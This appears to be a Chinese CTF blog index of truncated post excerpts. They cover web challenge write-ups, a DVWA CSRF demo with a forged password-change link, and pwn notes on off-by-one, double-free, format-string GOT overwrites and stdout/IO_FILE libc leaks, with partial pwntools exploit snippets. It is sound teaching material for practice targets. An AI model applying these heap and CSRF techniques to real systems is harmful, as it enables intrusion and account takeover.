极客大挑战wp
web题1.朋友的学妹打开网址,右键鼠标,打开源文件,发现
<!--flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9-->
用网站base64解码得到flagSYC{F1@_4s_h4Lpfullllll}
2.EZwww打开网址,说这个网站已经备份了,直接在网址后面加上/www.zip,发现开始下载一个压缩包,解压,有两个文件,一个是假的flag,一个是index.php,把index.php的后缀改为txt。打开发现
<html>
<head>
<title>Lola's website1.0</title>
</head>
<body>
<?php echo '<h1>welcome to my website</h1>'; ?>
<?php echo '<p>i will never forget to backup my website......</p>& ...
ctf-wiki
#ctf-wiki
##off-by-one
1-只能修改一个字节,溢出可控字节,通过修改堆块大小造成堆重叠从而覆盖或泄露其他数据。
2-溢出NULL字节可以使prev_inuse位被清0,前块会被认为是free块,从而造成堆重叠。
下面以该题作为演示
Asis CTF 2016 b00ks
__int64 __fastcall over_one(_BYTE *chunk, int size)
{
int i; // [rsp+14h] [rbp-Ch]
if ( size <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, chunk, 1uLL) != 1 )
return 1LL;
if ( *chunk == 10 )
break;
++chunk;
if ( i == size )
break;
}
*chunk = 0;
return 0LL;
}
这里最后有NULL ...
Web学习 SCRF && SSRF
SCRF && SSRF
csrf全称为:Cross-site request forgery,是一种常见的web攻击。在场景中,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,攻击也就完成了。
与xss的区别:csrf是借助用户的权限完成攻击,攻击者并没有拿到权限;而xss是直接盗取用户权限去进行破坏。
我们可以看到low难度的源代码中,并没有隐藏的token,这样我们的难度就小了很多。然后我猜测这里的密码检测是直接将输入的进行拼接,检验password_new与password_conf是否一致。
于是可以先伪造一个简陋的链接:http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#(注:里面的ip要改成自己的)
防御方案1、当用户发送重要的请求时需要输入原始密码2、设置随机 Token3、检验 referer 来源,请求时判断请求链接是否为当前管理员正 ...
buuctf&&攻防世界
0ctf_2017_babyheap漏洞点在md函数,这里没有限制size长度,所以存在溢出漏洞
这里指针都被清空了,所以不存在uaf可以使用,但是可以构造出double_free漏洞
为了形成double_free,可以让原本chunk[2] -> chunk[1] 溢出修改为 chunk[2] -> chunk[4]
修改前
修改后
for i in range(4):
ad(0x10)
ad(0x80)
ad(0x10)
rm(1) #2->1
rm(2)
payload = b'aaaaaaaa'*3 + p64(0x21) + b'aaaaaaaa'*3 + p64(0x21) +p8(0x80)
md(0,len(payload),payload)
payload = b'bbbbbbbb'*3+p64(0x21)
md(3,len(payload),payload)
再连续申请两个chunk,让程序认为chunk[2] 就是chunk[4] .
重新修改chunk[4]的siz ...
buuctf&&攻防世界
漏洞类型格式化字符串漏洞格式化字符串漏洞
ROP发生栈溢出的基本前提是:
1.程序必须向栈上写入数据
2.写入的数据大小没有被良好地控制。
char a[10]
get(a)
strcpy
strcpy( dest, src) 把 src 所指向的字符串复制到 dest。
需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。
read
ssize_t read(int fd, void *buf, size_t count);
ssize_t为有符号整型,size_t为无符号整型。fd为相应的文件描述符;buf为用户给定的数据缓冲区,该缓冲不是固定大小的,由count值决定其大小(用户给定,字节数)。如 read( fd , “hello” , 5 ); 此时的void *buf为char *类型。即count为请求读取的字节数(即buf的大小)。该函数的返回值为-1时,表示读取数据失败;返回值>0时,表示读出的字节数;返回值等于0时,表示已经读完了,因此没有数据可读了。
当count>buf时产生溢出。
shell ...
buuctf&&攻防世界2
#pwn进阶区
##greeting-150
这是个明显的字符串漏洞
return printf(s);
思路就是修改strlen函数为system,并且让函数循环执行,从而getshell
在程序末尾会执行fini函数,我们将其修改为start_addr
我们先输入aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p来观察输入的字符串在第几个参数
由上图可知,只需对齐2字节,那么下一个参数就出现在第12个。
首先修改strlen_got的高字节(因为它比较小),那么修改的大小是0x804 - (len(‘aa’) + len(‘Nice to meet you, ‘) + 4 * 4) = 2016
fini_got的高字节相同
然后分别是strlen_got的低字节和fini_got的低字节(因为system的低字节更小)
最后传入”/bin/sh”即可
##babyfengshui
有四个功能如下:
其中add_usr的功能:
p_discri = malloc(size); //用于存放discription堆
mems ...
No title
PWNnew-easypwnmain函数里看见这个程序实现增删查改的功能
进入ad函数需要输入num,name ,xize ,des四个变量,发现这里的for循环多循环了一次,存在offbyone漏洞,但是不急,继续往下看。
进入md函数发现所有的输入都没有限制长度,而且des_addr就在name的后面不远。所以我们可以通过覆盖来修改des_addr,修改其为一个危险函数的地址,从而进行调用
我们发现在menu函数里,每次都循环调用了一个atoi,我们打算通过md溢出覆盖des_addr为atoi_addr,然后用md的read函数修改atoi的内部为system。
所以我们就需要泄露libc的基地址和程序载入的基地址
在刚进入程序时发现栈中已经存在了一些有偏移的程序地址和libc地址,我们直接利用格式化字符串将其泄露出来,并且计算处所需函数的地址
newnote("%12$p%13$p","0",128, "0"*16)#0
shownote(0)
process__libc = p.recvuntil(&quo ...
十一月十五日-stdout爆破
stdout爆破最近做的比赛有一道没有给出show函数,所以学习了一下stdout爆破来泄露函数地址。
1.通过uaf漏洞修改fd ,指向我们提前布置好的fake_chunk。
2.利用fake_chunk修改下一chunk的size,从而可以free其下一个chunk而进入unsortbin,从而获得main_area.
3.再次利用uaf漏洞,修改unsort_chunk的低2字节,由于最后3位是确定的,所以需要爆破一位。至于错位构造size域,我们需要自行查找。
4.最后连续add两次即可将chunk分配至目标位置,覆盖stdout及其后几位即可实现泄露。
new(0x10,0,p64(0) + p64(0x41))
new(0x60,1,p64(0)*5 + p64(0x41))
new(0x30,2,'a')
new(0x30,3,'b')
new(0x30,4,'c')
add出所需要的chunk , 分配0x10 是为了方便放置fake_chunk 从而修改下一chunk的size,分配0x60是因为目标地址数据以0x7f开 ...
十月二十六日-拟态-PWN
pwnpwn简单的格式化字符串漏洞由于程序本身会打印一个当前地址,只需要减去当前函数的偏移即可获取elf基地址
通过格式化字符串漏洞泄露canary
最后用ROPgadget寻找可用gadget,用ret,劫持执行流,pop rdi ;ret传参”bin/sh”,再进入system函数
bitfile漏洞出现在edit中,因为在读入时多出了一个字符,所以造成了off-by-one 漏洞。
观察代码,可以先泄露tchec地址,向tcache->counts[tc_idx]写入7,即填满,然后在通过构造堆重叠泄露出unsortbin,从而进行攻击。
v7 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&unk_1054, &v6);
v0 = v6;
if ( v6 <= 0x1F )
{
if ( ptrs[v6] )
{
__printf_chk(1LL, "Cont ...
十月一日 IO_FILE houseOforange
十月一日总结-PWNIO_FILE泄露glibcIO_FILE泄露libc参考文章
首先利用工具查出libc版本,可以看出这是glibc_2.27
经过尝试,发现存在double_free漏洞,考虑到没有开启地址随机化保护,而且没有show函数,我们考虑通过IO_FILE泄露libc,
0x602080 <stdout@@GLIBC_2.2.5>: 0x00007f87b2616161 0x0000000000000000
0x602090 <stdin@@GLIBC_2.2.5> : 0x00007f87b21eda00 0x0000000000000000
0x6020a0 <stderr@@GLIBC_2.2.5>: 0x00007f87b21ee680 0x0000000000000000
因为<stdout@@GLIBC_2.2.5>: 0x00007fd54dc2a760 这个指针指向被认为了fd所以再次malloc时将从0x00007fd54dc2a760处取得。而我们正好可以修 ...













